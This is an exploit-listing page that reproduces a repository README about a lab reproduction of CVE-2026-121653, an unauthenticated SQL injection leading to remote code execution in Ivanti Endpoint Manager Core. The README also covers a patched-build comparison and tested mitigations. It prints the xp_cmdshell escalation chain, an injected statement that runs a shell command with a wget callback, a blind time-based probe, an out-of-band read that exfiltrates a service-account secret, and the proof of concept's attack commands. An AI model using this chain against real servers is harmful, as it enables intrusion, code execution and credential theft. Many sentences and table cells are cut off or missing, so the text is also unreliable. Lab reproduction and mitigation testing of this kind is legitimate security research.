Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • November 12, 2026

# CVE-2026-121653 — Ivanti Endpoint Manager Core unauthenticated SQL injection → RCE

| **Component** | Ivanti Endpoint Manager (EPM) — **Core** server, status-event web service (`PatchBiz.dll` → `RecordGoodApp`, published for the same defect class in ZDI-24-507 / CVE-2024-29824) |

| **Affected** | EPM 2024 SU7 and prior |

| **CWE** | CWE-89 (SQL injection) → CWE-78 (OS command injection through the database account) |

| **Impact** | Unauthenticated remote code execution on the EPM Core server, with the privileges of the Core database account; full read/write access to the EPM database |

| **CVSS** | 9.8 `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |

| **Vector** | `POST /WSStatusEvents/EventHandler.asmx` — the ASMX service the agents report to, SOAP 1.2, `SOAPAction: |

| **Trigger** | The `` element of a status event (`GoodApp=1\|md5=`), i.e. the application identity an agent reports |

| **Advisory** | Ivanti security advisory, November 2026 (paired with CVE-2026-18128, CWE-319, cleartext transmission in the EPM Agent) |

| **Credit** | Ivanti's responsible disclosure programme; the upstream defect class was reported to Ivanti and published as ZDI-24-507 / CVE-2024-29824 |

The Ivanti Endpoint Manager Core publishes the status-event web service that the agents

report to. The record of a reported application reaches `PatchBiz.dll` /

`RecordGoodApp`, and the statement that stores it is assembled from the client-supplied

values instead of being parameterised. A remote attacker who can reach the service

therefore controls the SQL that the Core server runs against its Microsoft SQL Server

database. Because the database account of the Core server is privileged, the injection

escalates into operating-system command execution on the Core host — the same escalation

the published exploit chain performs with `xp_cmdshell`.

This repository contains a containerised laboratory that reproduces the flaw against a

real Microsoft SQL Server, the differential against the patched build, the three published

mitigations, and the results of a 0-day sweep over the patched line.

## 1. Scope and fidelity of this laboratory

Ivanti Endpoint Manager Core is proprietary, Windows-only .NET Framework software. Its

installer sits behind the Ivanti License System, it requires a Windows host and a

licensed SQL Server, and the assembly that carries the defect cannot be redistributed

or executed in a Linux container. What is reproducible here is therefore:

* **the vendor's own statement of the defect** — CWE-89, the Core component, unauthenticated

remote code execution, CVSS 9.8, and the affected/fixed version matrix — taken from the

* **the attack surface of the component** — the ASMX service on `/WSStatusEvents`, the

`UpdateStatusEvents` operation, the `GoodApp=1|md5=…` status element, and the

`RecordGoodApp` call chain — recovered from the published research on the same component

and the same defect class (ZDI-24-507, the Horizon3.ai deep dive and its proof of

* **the security-relevant behaviour of the service** — a SOAP 1.2 endpoint that runs a

statement built from the request, a database that holds the EPM Core data, and the

* **the escalation primitive** — the published chain uses `xp_cmdshell`. `xp_cmdshell` is

a Windows feature and Microsoft SQL Server for Linux — the only SQL Server that runs in

a container — cannot provide it (measured, see §7). The laboratory therefore provides

the primitive explicitly and executes the injected command with the security context of

the SQL Server service account, which is the account `xp_cmdshell` uses on a Windows EPM

Everything the laboratory asserts the *vendor product* is sourced from the

advisory, from ZDI and from the published research; everything it asserts the

*model* is labelled as such. The model runs in the laboratory, and the vulnerable and the

patched behaviour differ in the query construction alone.

ZDI-24-507 (CVE-2024-29824) describes the defect class of CVE-2026-121653 on the same

> The specific flaw exists within the implementation of the `RecordGoodApp` method. The

> issue results from the lack of proper validation of a user-supplied string before using

> it to construct SQL queries. An attacker can leverage this vulnerability to execute code

The Horizon3.ai deep dive of the same flaw located the statement construction in

`PatchBiz.dll` and the path that reaches it:

StatusEvents.EventHandler.UpdateStatusEvents [WebMethod], ASMX, hosted on /WSStatusEvents

└─ PatchBiz.RecordGoodApp string.Format() puts goodApp.md5 into the SQL text

The request that reaches it carries the application identity in the `` element of

GoodApp=1|md5=

The model of the vulnerable build builds the statement that records the reported

application with `string.Format`, exactly the pattern ZDI describes

/// 2024 SU7 model: the statement is assembled with string.Format and the user

/// supplied values are pasted into the text.

public static string BuildGoodAppSql(GoodApp app)

"UPDATE AppTable SET Status = 'Good', LastSeen = GETDATE(), AgentPath = '{0}', " +

"ConfigGuid = '{1}', AgentUser = '{2}' " +

"WHERE MD5 = '{3}' AND DeviceID = '{4}'; " +

"INSERT INTO AppTable (MD5, Status, DeviceID, AgentPath, ConfigGuid, AgentUser, " +

"VALUES ('{3}', 'Good', '{4}', '{0}', '{1}', '{2}', GETDATE(), 0);",

app.AgentPath, app.ConfigGuid, app.AgentUser, app.Md5, app.DeviceId);

The patched build keeps the same statement and binds the same values as parameters

/// 2024 SU8 model: the same statement, but every value is bound as a parameter.

public const string GoodAppSqlParameterized =

"UPDATE AppTable SET Status = 'Good', LastSeen = GETDATE(), AgentPath = @agentpath, " +

"ConfigGuid = @configguid, AgentUser = @agentuser " +

"WHERE MD5 = @md5 AND DeviceID = @deviceid; " +

"INSERT INTO AppTable (MD5, Status, DeviceID, AgentPath, ConfigGuid, AgentUser, " +

"VALUES (@md5, 'Good', @deviceid, @agentpath, @configguid, @agentuser, GETDATE(), 0);";

The value of `goodApp.md5` lands inside a string literal of the statement. The payload

closes the literal, appends its own statements and the remainder of the line:

UPDATE AppTable SET Status = 'Good', ... WHERE MD5 = ''; ; --' AND DeviceID = '...';

The published chain (`horizon3ai/CVE-2024-29824`) is:

'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

On the vulnerable build the laboratory logs the statement it executes, with the payload

statement was: UPDATE AppTable SET Status = 'Good', LastSeen = GETDATE(), AgentPath = '',

ConfigGuid = 'string', AgentUser = 'string' WHERE MD5 = ''; EXEC sp_configure 'show

advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC

xp_cmdshell 'echo pwn_t5bfe989e1669 > /artifacts/pwn_t5bfe989e1669.txt && wget -q -O

/dev/null " --' AND DeviceID = 'string'; ...

The EPM Core also re-uses the stored value: the "Gather Historical Information" task

copies the reported applications into the history table and re-uses the stored `md5` in

its own statement. The model reproduces that task (`lab/app/Program.cs`), and the

vulnerable build formats the stored value into the statement as well

public static string BuildHistorySql(string md5, string note)

"INSERT INTO AppHistoryTable (MD5, Note, RecordedAt) " +

"SELECT MD5, '{1}', GETDATE() FROM AppTable WHERE MD5 = '{0}';",

A value that is stored verbatim by one statement and re-used by another is a second-order

injection. The laboratory exercises it with a build whose write path is parameterised and

whose history path is not (`EPM_BUILD=fixed-partial`, §8).

Everything runs in Podman. Nothing is installed on the host, and no component of the

| `epmdb-main` | `cve-2026-121653-mssql:local` | the EPM Core database — **Microsoft SQL Server 2022 (RTM-CU27-GDR), Express Edition, 64-bit, on Linux**, the edition an EPM Core deployment uses; it also carries the OS command primitive of the laboratory |

| `epmdb-hardened` | `cve-2026-121653-mssql:local` | the same database with the restricted Core service account |

| `epm-vuln` | `cve-2026-121653:vuln` | the EPM Core model, `EPM_BUILD=vuln` — 2024 SU7 behaviour |

| `epm-fixed` | `cve-2026-121653:vuln` | the EPM Core model, `EPM_BUILD=fixed` — 2024 SU8 behaviour |

| `epm-partial` | `cve-2026-121653:vuln` | the EPM Core model, `EPM_BUILD=fixed-partial` — synthetic control (§8) |

| `epm-hardened` | `cve-2026-121653:vuln` | the 2024 SU7 model on the hardened database |

| `epmproxy-seg` | `cve-2026-121653-proxy:local` | the front door that models the network segmentation of the management segment |

| `poc` | `cve-2026-121653-poc:local` | the attacker side: the proof of concept and its callback listener |

* **Networks** — `cve121653lab` (10.89.121.0/24, the untrusted segment) and

`cve121653labmgmt` (10.89.122.0/24, the management segment). The Core services and the

databases are only reachable from the management segment; the front door bridges the two.

* **Bounds** — every container runs with `--cpus 2 --memory 4g`.

* **Database** — the schema is created by the model when it starts (`AppTable`,

`AppHistoryTable`, `EpmConfigTable`, `EpmCommandQueue`); the model connects with the

Core service account, which is `sa` on the default build and a restricted account on

* **Differences between the two sides** — the vulnerable and the patched build are the

same image with the same entrypoint and the same configuration; `EPM_BUILD` selects the

behaviour, and the only difference is the query construction shown in §2.2.

./run-lab.sh prepare # build the four images

./run-lab.sh up # start the databases, the three builds, the front door

./run-lab.sh check # classify the vulnerable and the patched build

./run-lab.sh exploit # the full chain against both builds

./run-lab.sh probe # the read primitive

./run-lab.sh mitigation # the three published mitigations

./run-lab.sh sweep # the 0-day matrix over the three builds

./run-lab.sh differential # everything above, plus the evidence capture

./run-lab.sh down # remove every container of the laboratory

`make prepare | up | down | check | exploit | probe | mitigation | sweep | logs |

differential` are thin wrappers over the same commands.

The laboratory needs no secrets of its own: the database password is a disposable

container credential and can be overridden with `EPM_DB_PASSWORD`.

`poc/poc.py` is a standard-library-only Python program. It speaks the SOAP 1.2 request

the EPM Core expects and it never assumes anything the target beyond the URL.

| `check` | classify the target without changing its state: a blind, time-based probe (`WAITFOR DELAY`) that measures the delay the target adds |

| `exploit` | run the full chain and confirm the command execution — the injected statement is queued in the database and the command line runs on the database host, leaving a file and an HTTP call back to the PoC |

| `probe` | exercise the companion primitive: read a value out of the EPM database and send it out of band |

| `mitigation` | test the published mitigations: `--variant upgrade`, `--variant segmentation`, `--variant db-hardening` |

| `sweep` | run the 0-day matrix over the target and report every vector |

| `0` | safe / not vulnerable / the mitigation holds |

| `1` | vulnerable / the command execution or the exfiltration was confirmed / the mitigation does not hold |

| `3` | the injection primitive is confirmed, but the OS command gadget is blocked |

podman run --rm --network cve121653lab --network cve121653labmgmt \

-v "$PWD/results:/results" -v cve121653lab-artifacts:/artifacts \

cve-2026-121653-poc:local check --target

podman run --rm --network cve121653lab --network cve121653labmgmt \

-v "$PWD/results:/results" -v cve121653lab-artifacts:/artifacts \

cve-2026-121653-poc:local exploit --target

podman run --rm --network cve121653lab --network cve121653labmgmt \

-v "$PWD/results:/results" -v cve121653lab-artifacts:/artifacts \

cve-2026-121653-poc:local probe --target

podman run --rm --network cve121653lab --network cve121653labmgmt \

-v "$PWD/results:/results" -v cve121653lab-artifacts:/artifacts \

cve-2026-121653-poc:local mitigation --variant all

The proof of concept tries the published `xp_cmdshell` chain first and records the

vendor's own refusal, then falls back to the primitive of the laboratory (§7). On a

Windows EPM Core host the first chain is the one that works.

| path | vulnerable build | patched build | evidence |

| `POST /WSStatusEvents/EventHandler.asmx`, `` = `GoodApp=1\|md5=…` | **vulnerable** — the statement runs the injected SQL | safe — the value is a parameter | `evidence/check-*.txt`, `evidence/exploit-*.txt` |

| `deviceID` element | **vulnerable** | safe | `evidence/0day-sweep-vulnerable.txt` |

| `status` → `path=` | **vulnerable** | safe | `evidence/0day-sweep-vulnerable.txt` |

| `Action` attribute `configguid` | **vulnerable** | safe | `evidence/0day-sweep-vulnerable.txt` |

| `Action` attribute `user` | **vulnerable** | safe | `evidence/0day-sweep-vulnerable.txt` |

| `Action` attribute `location` | not routed into a statement by the model | not routed | `evidence/0day-sweep-vulnerable.txt` |

| second-order — the stored `md5` re-used by the history task | **vulnerable** | safe | `evidence/0day-sweep-vulnerable.txt`, `evidence/0day-sweep-partial.txt` |

| SOAP 1.1 framing instead of SOAP 1.2 | **vulnerable** | safe | `evidence/0day-sweep-vulnerable.txt` |

| `CDATA`-wrapped `` | **vulnerable** | safe | `evidence/0day-sweep-vulnerable.txt` |

| a different XML namespace on the operation element | **vulnerable** | safe | `evidence/0day-sweep-vulnerable.txt` |

| the sibling operation `UpdateActionHistory` | **vulnerable** | safe | `evidence/0day-sweep-vulnerable.txt` |

| read primitive — the value of the Core service account | **exfiltrated** | nothing left the database | `evidence/probe-*.txt` |

| | vulnerable build (2024 SU7 model) | patched build (2024 SU8 model) |

| `check` — blind time-based probe | baseline **0.019 s**, injected **6.003 s**, delta **5.984 s** → `VULNERABLE`, exit `1` | baseline **0.027 s**, injected **0.002 s** → `SAFE`, exit `0` |

| `exploit` — the full chain | command executed on the database host: artefact written, HTTP call back received → exit `1` | no execution; the injected statement never runs → exit `0` |

| `probe` — read primitive | the value of the Core service account left the database (`LabServiceAccountSecret-9f3c2b1a`) → exit `1` | nothing left the database → exit `0` |

| `mitigation --variant upgrade` | — | the patched build executes nothing → the mitigation holds, exit `0` |

| `mitigation --variant segmentation` | the front door answers **HTTP 403** to the untrusted source and **serves** the management segment → the mitigation holds, exit `0` | — |

| `mitigation --variant db-hardening` | the injection is still live, the OS command gadget is blocked → exit `3` | — |

Captured runs: `evidence/check-vulnerable-run.txt`, `evidence/check-fixed-run.txt`,

`evidence/exploit-vulnerable-run.txt`, `evidence/exploit-fixed-run.txt`,

`evidence/probe-vulnerable-run.txt`, `evidence/probe-fixed-run.txt`,

`evidence/mitigation-upgrade-run.txt`, `evidence/mitigation-segmentation-run.txt`,

`evidence/mitigation-db-hardening-run.txt`.

### 6.2 The 0-day sweep on the patched line

The sweep drives eleven vectors through the service and reports which of them reached

| vector | vulnerable | patched | synthetic control |

| `status/md5` — first order (the documented vector) | exploited | no effect | exploited |

| `deviceID` — sibling field | exploited | no effect | no effect |

| `status/path` — sibling property | exploited | no effect | no effect |

| `configguid` — sibling property | exploited | no effect | no effect |

| `user` — sibling property | exploited | no effect | no effect |

| `location` — property of the action element | no effect | no effect | no effect |

| `status/md5` — second order (the stored value re-used by the history task) | exploited | no effect | exploited |

| SOAP 1.1 framing | exploited | no effect | exploited |

| `CDATA`-wrapped status element | exploited | no effect | exploited |

| a different XML namespace | exploited | no effect | exploited |

| the sibling operation `UpdateActionHistory` | exploited | no effect | exploited |

| **total** | **10 / 11** | **0 / 11** | **6 / 11** |

Captured runs: `evidence/0day-sweep-vulnerable.txt`, `evidence/0day-sweep-fixed.txt`,

* **The patched line is closed for every vector the component exposes.** All eleven

vectors reach the same parameterised statement; none of them executes. The only vector

that does not reach a statement at all is `location`, which the model does not route

* **The sweep is not vacuous.** The synthetic control (`EPM_BUILD=fixed-partial`) is a

remediation shape that parameterises the write path but leaves the history task

interpolating the stored value. The sweep detects it: the first-order payload is

stored verbatim by the parameterised write path and is executed later by the history

task, and the explicit second-order vector reaches command execution as well. A sweep

that only ever answered "safe" would have missed that build.

* **The truncation of the stored value is a real constraint on the second-order path.**

The `MD5` column of the EPM schema is `NVARCHAR(255)`; a payload longer than that is

truncated on insert, so the second-order vector has to stay below the column length.

That limits the path, it does not remove it — a 170-character payload survives and is

The escalation depends on what the database of the Core server can do. The following was

measured on the laboratory's Microsoft SQL Server 2022 (Express Edition, 64-bit, Linux):

1. **`xp_cmdshell` cannot be enabled on Linux.** `EXEC sp_configure 'xp_cmdshell', 1`

answers *"The specified option 'xp_cmdshell' is not supported by this edition of SQL

Server and cannot be changed using sp_configure."* — reproduced with the Developer,

the Express and the Enterprise edition. Microsoft's documentation describes the

procedure as *"spawns a Windows command shell"*.

2. **SQL Server Agent refuses operating system job steps on Linux.** A `CmdExec` step

fails with *"Running requested program is not allowed. The step failed."* — for

`/bin/touch`, for `/bin/sh -c …` and for a plain command alike. The Agent starts, runs

3. **SQL CLR cannot be turned into an OS command gadget.** `sp_configure 'clr enabled', 1`

succeeds, but an assembly that uses P/Invoke is refused as a safe assembly (*"P/Invoke

is not allowed in safe assemblies"*), the `WITH UNSAFE ACCESS` clause of

`CREATE ASSEMBLY` no longer parses on SQL Server 2022, and `sp_add_trusted_assembly`

rejects every `binary(64)`/`varbinary(64)` hash handed to it, including the hash

computed inside the database with `HASHBYTES('SHA2_512', …)`.

The laboratory therefore provides the primitive explicitly: the database host runs a small

runner (`lab/cmdrunner`) **inside the SQL Server container, with the security context of

the SQL Server service account — the account `xp_cmdshell` uses** — which executes the

command lines that the injected SQL queues in the EPM database. The runner is reachable

only through the database, so only the injection can make it run anything, and the

artefact it leaves is owned by the SQL Server service account:

-rw-r--r-- 1 mssql mssql 18 Nov 12 06:23 pwn_t145a9bc924fc.txt

**On a real EPM Core host** the primitive is `xp_cmdshell`: the Core server runs SQL

Server on the same Windows machine, its database account is privileged enough to enable

`xp_cmdshell`, and the injected command runs as `NT AUTHORITY\SYSTEM`. The laboratory

keeps the published chain in the proof of concept so that the difference between the two

(`evidence/exploit-vulnerable-run.txt`, first escalation attempt, HTTP 500).

The remaining precondition is reachability: the status-event service has to be reachable

by the attacker. That is the configuration the segmentation mitigation addresses (§5, §9).

## 8. Additional findings (0-day sweep on the fixed line)

The sweep is documented in §6.2 and §6.3. The conclusions are:

1. **No residual injection was found on the patched line.** Every vector the component

exposes — the documented `goodApp.md5` value, the sibling fields of the same record,

the sibling elements of the request, the protocol-level variants and the second-order

path — is closed by the parameterised statement.

2. **The only vectors the sweep finds are the ones the model does not route into a

statement** (`location`), and they are equally inert on both sides.

3. **The remediation shape matters.** A build that parameterises the write path but

keeps the history task interpolating the stored value stays exploitable; the sweep

detects that shape, and it is the shape an incomplete remediation of this defect

would take. The vendor's own hotfix history for this component contains regressions

of that kind, so the shape is worth testing for on the real product.

4. **The published workaround does not have to be the only defence.** The three

mitigations below are independent of each other and of the patch.

No unfixed upstream vulnerability was found; the candidate that the sweep produced —

the second-order path of a partial remediation — is a property of the model and is

reported here as a statement the *shape* of an incomplete fix, not as a claim

| mitigation | how it is tested | result |

| upgrade the EPM Core to **2024 SU8** | the full chain against the patched build | the patched build executes nothing — the mitigation holds (exit `0`) |

| restrict the status-event web service to the **management segment** | the same request from an address of the untrusted segment, then from an address of the management segment | the untrusted request is refused with **HTTP 403** by the front door and nothing executes; the management segment is served, which proves that the refusal is the segmentation and not a broken service (exit `0`) |

| harden the **database** — no `sysadmin` for the Core account, no OS command gadget | the full chain against the hardened build | the injection is still live (the blind probe still delays the response) but the OS command is blocked — **exit `3`, primitive confirmed, gadget blocked** |

The third row is the important one for the defenders: hardening the database account

removes the remote code execution, but **not the SQL injection**. The injection alone is

already a full read/write compromise of the EPM database, and the database hardening does

LICENSE MIT, "Copyright (c) 2026 Lê Hiếu"

CITATION.cff citation metadata

SECURITY.md security policy

GOAL.md the objective and the success criteria of the laboratory

TRACKING.md the working record of the research

Makefile convenience targets

run-lab.sh the environment driver

poc/poc.py the proof of concept (standard library only)

poc/Containerfile the attacker image

lab/Containerfile the EPM Core model image

lab/app/ the model: Program.cs, PatchBiz.cs, Soap.cs, Database.cs

lab/cmdrunner/ the OS command primitive of the laboratory

lab/mssql.Containerfile the EPM Core database image

lab/proxy/ the front door that models the segmentation

evidence/ the captured runs of the laboratory

results/ the JSON results of the proof of concept (not committed)

* Ivanti security advisory, November 2026 — Ivanti Endpoint Manager 2024 SU8

(CVE-2026-121653, CWE-89; CVE-2026-18128, CWE-319).

* ZDI-24-507 / ZDI-CAN-23482, *Ivanti Endpoint Manager RecordGoodApp SQL Injection Remote

Code Execution Vulnerability* — CVE-2024-29824.

* Horizon3.ai, *CVE-2024-29824 Deep Dive: Ivanti EPM SQL Injection Remote Code Execution

Vulnerability* (2024-06-12) — the call chain to `RecordGoodApp`, the ASMX surface and

* `horizon3ai/CVE-2024-29824` — the published proof of concept of the request shape and of

* Microsoft, *xp_cmdshell (Transact-SQL)* — "Spawns a Windows command shell".

* Microsoft, *sp_configure (Transact-SQL)* and *Surface Area Configuration* — the

`xp_cmdshell` configuration option and the Enterprise-only features.

* Microsoft, *SQL Server on Linux* — supported editions and the SQL Server Agent.

The defect itself is Ivanti's; it was reported through Ivanti's responsible disclosure

programme and published for the same component and defect class as ZDI-24-507 /

CVE-2024-29824. The laboratory, the model and the proof of concept in this repository